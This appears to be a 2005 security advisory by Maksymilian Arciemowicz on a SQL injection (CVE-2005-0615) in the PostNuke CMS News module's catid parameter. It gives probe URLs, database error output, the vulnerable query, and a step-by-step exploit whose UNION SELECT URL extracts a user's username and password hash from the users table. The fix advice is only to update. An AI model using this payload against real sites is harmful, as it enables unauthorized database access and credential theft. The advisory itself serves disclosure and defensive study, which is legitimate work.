PostNuke Critical SQL Injection 0.760-RC2=>x

Published / (Updated)
Credit
Risk
2005-10-01 / 2005-09-30
Maksymilian Arciemowicz
Medium
CWE
CVE
Local
Remote
CWE-89
CVE-2005-0615
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

[PostNuke Critical SQL Injection 0.760-RC2=>x cXIb8O3.1]

Author: Maksymilian Arciemowicz
Date: 15.2.2005

- --- 0.Description ---

PostNuke: The Phoenix Release (0.760-RC2=>x)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel
#postnuke-support
#postnuke-chat
#postnuke
Or at the Community Forums located at:
http://forums.postnuke.com/


- --- 1. Critical SQL INJECTION ---
This SQL INJECTION is in modules/News/funcs.php in function getArticles(). When this function
is active(Other Stories), we can add sql querty in varible catid.

For exemple:

http://[HOST]/[DIR]/index.php?catid='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near ''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

http://[HOST]/[DIR]/modules.php?op=modload&name=News&file=article&sid=1&catid='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near ''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

http://[HOST]/[DIR]/admin.php?module=NS-AddStory&op=EditCategory&catid='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near ''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

etc.

and varible $query is:

- ---------------
SELECT pn__stories.pn_aid AS "aid", pn__stories.pn_bodytext AS "bodytext",
pn__stories_cat.pn_themeoverride AS "catthemeoverride", pn__stories.pn_catid AS "cid",
pn__stories_cat.pn_title AS "cattitle", pn__stories.pn_comments AS "comments",
pn__stories.pn_counter AS "counter", pn__stories.pn_hometext AS "hometext",
pn__stories.pn_informant AS "informant", pn__stories.pn_notes AS "notes", pn__stories.pn_sid AS
"sid", pn__stories.pn_themeoverride AS "themeoverride", pn__topics.pn_topicid AS "tid",
pn__stories.pn_time AS "time", pn__stories.pn_title AS "title", pn__topics.pn_topicname AS
"topicname", pn__topics.pn_topicimage AS "topicimage", pn__topics.pn_topictext AS
"topictext",
pn__topics.pn_counter AS "tcounter", pn__stories.pn_time AS "unixtime", pn__stories.pn_withcomm
AS "withcomm" FROM pn__stories LEFT JOIN pn__stories_cat ON pn__stories.pn_catid =
pn__stories_cat.pn_catid LEFT JOIN pn__topics ON pn__stories.pn_topic = pn__topics.pn_topicid
WHERE (pn__stories.pn_language
='eng' OR pn__stories.pn_language='') AND pn__stories.pn_catid='cXIb8O3 ORDER BY
pn__stories.pn_time DESC
- ---------------

Exploit:
This exploit get password from user with id=2. But frist check prefix.

Step 1.
http://[HOST]/[DIR]/index.php?catid='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near ''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

and pn_ is that prefix.

Step 2.
http://[HOST]/[DIR]/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread
&order=0&thold=0&catid=-99999%20UNION%20SELECT%20pn_uname,pn_uname,pn_uname,pn_uname,pn_uname,null,null,null
,pn_uname,pn_uname,pn_uname,pn_uname,pn_uname,null,pn_pass,null,null,null,null,null,null%20FROM%20[$PREFIX]users%20WHERE
%20pn_uid=2/*

- --- 2. How to fix ---

Download the new version of the script or update.

- --- 3.Contact ---
Author: Maksymilian Arciemowicz


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